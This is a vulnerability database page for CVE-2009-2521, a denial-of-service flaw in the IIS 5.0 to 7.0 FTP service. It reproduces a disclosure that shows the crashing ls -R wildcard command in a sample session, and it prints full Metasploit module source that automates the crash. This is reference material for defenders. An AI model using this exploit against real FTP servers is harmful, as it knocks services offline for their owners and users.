CVE-2009-2521 : Detail

CVE-2009-2521

93.49%V3
Network
2009-09-04
08h00 +00:00
2018-10-12
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Stack consumption vulnerability in the FTP Service in Microsoft Internet Information Services (IIS) 5.0 through 7.0 allows remote authenticated users to cause a denial of service (daemon crash) via a list (ls) -R command containing a wildcard that references a subdirectory, followed by a .. (dot dot), aka "IIS FTP Service DoS Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-400 Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 9587

Publication date : 2009-09-03 22h00 +00:00
Author : kingcope
EDB Verified : Yes

***** MS IIS FTPD DoS ZER0DAY ***** There is a DoS vulnerability in the globbing functionality of IIS FTPD. Anonymous users can exploit this if they have read access to a directory!!! Normal users can exploit this too if they can read a directory. Example session where the anonymous user has read access to the folder "pub": C:\Users\Nikolaos>ftp 192.168.2.102 Verbindung mit 192.168.2.102 wurde hergestellt. 220 Microsoft FTP Service Benutzer (192.168.2.102:(none)): ftp 331 Anonymous access allowed, send identity (e-mail name) as password. Kennwort: 230 Anonymous user logged in. ftp> ls "-R p*/../" ... p*/../pub: pub ... p*/../pub: pub ... p*/../pub: pub ... p*/../pub: pub ... Verbindung beendet durch Remotehost. (MEANS: Remote Host has closed the connection) ftp> ftp> By looking into my debugging session with OllyDbg I see that an exception is raised and the ftp service crashes due to a "stack overflow", what is a stack exhaustion. If the ftp service is set to "manual" startup in services control manager the service needs to be restarted manually. IIS 5.0 and 6.0 were tested and are affected. Best Regards, Nikolaos Rangos # milw0rm.com [2009-09-04]
Exploit Database EDB-ID : 17476

Publication date : 2011-07-02 22h00 +00:00
Author : Myo Soe
EDB Verified : No

# Exploit Title: [MS09-053] Microsoft IIS FTP Server <= 7.0 Stack Exhaustion DoS # Date: Jul 03, 2011 # Updated: Jul 13, 2011 # Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/> # Software Link: http://www.microsoft.com/ # Version: 5.0 - 7.0 # Tested on: unpatched version of windows xp & 2k3 ## # $Id: $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft IIS FTP Server <= 7.0 LIST Stack Exhaustion Denial of Service', 'Description' => %q{ This module triggers Denial of Service condition in the Microsoft Internet Information Services (IIS) FTP Server 5.0 through 7.0 via a list (ls) -R command containing a wildcard. For this exploit to work in most cases, you need 1) a valid ftp account: either read-only or write-access account 2) the "FTP Publishing" service must be configured as "manual" mode in startup type 3) there must be at least one directory under FTP root directory. If your provided FTP account has write-access privilege and there is no single directory, a new directory with random name will be created prior to sending exploit payload. }, 'Author' => [ 'Nikolaos "Kingcope" Rangos', # Bug Discoverer 'Myo Soe <YGN Ethical Hacker Group, http://yehg.net/>' # Metasploit Module ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 4 $', 'References' => [ [ 'CVE', '2009-2521'], [ 'BID', '36273'], [ 'OSVDB', '57753'], [ 'URL', 'https://www.microsoft.com/technet/security/Bulletin/MS09-053.mspx'], [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2009-09/0040.html'] ], 'DisclosureDate' => 'Sep 03 2009')) register_options([ OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]), OptString.new('FTPPASS', [ true, 'Valid FTP password for username', '[email protected]' ]) ]) end def run begin return unless connect_login print_status('Checking if there is at least one directory ...') res = send_cmd_data(['ls'],'') if res.to_s =~ /\<DIR\> / then print_status('Directory found, skipped creating a directory') else print_status('No single directory found') print_status('Attempting to create a directory ...') new_dir = Rex::Text.rand_text_alphanumeric(6) res = send_cmd(['mkd',new_dir]) if res =~ /directory created/ then print_status("New directory \"#{new_dir}\" was created!") else print_error('Write-access was denied') print_error('Exploit failed') disconnect return end end print_status("Sending DoS packets ...") res = send_cmd_datax(['ls','-R */../'],' ') disconnect rescue ::Interrupt raise $! rescue Errno::ECONNRESET print_good("MS IIS FTP Server has crashed successfully.") rescue ::Rex::ConnectionRefused print_good("Cannot connect. The server is not running.") end end # Workaround: modified send_cmd_data function with short sleep time before data_disconnect call # Bug Tracker: 4868 def send_cmd_datax(args, data, mode = 'a', nsock = self.sock) args[0] = "LIST" # Set the transfer mode and connect to the remove server return nil if not data_connect(mode) # Our pending command should have got a connection now. res = send_cmd(args, true, nsock) # make sure could open port return nil unless res =~ /^(150|125) / # dispatch to the proper method begin data = self.datasocket.get_once(-1, ftp_timeout) rescue ::EOFError data = nil end select(nil,nil,nil,1) # close data channel so command channel updates data_disconnect # get status of transfer ret = nil ret = recv_ftp_resp(nsock) ret = [ ret, data ] ret end end

Products Mentioned

Configuraton 0

Microsoft>>Internet_information_services >> Version From (including) 5.0 To (including) 7.0

References

http://www.us-cert.gov/cas/techalerts/TA09-286A.html
Tags : third-party-advisory, x_refsource_CERT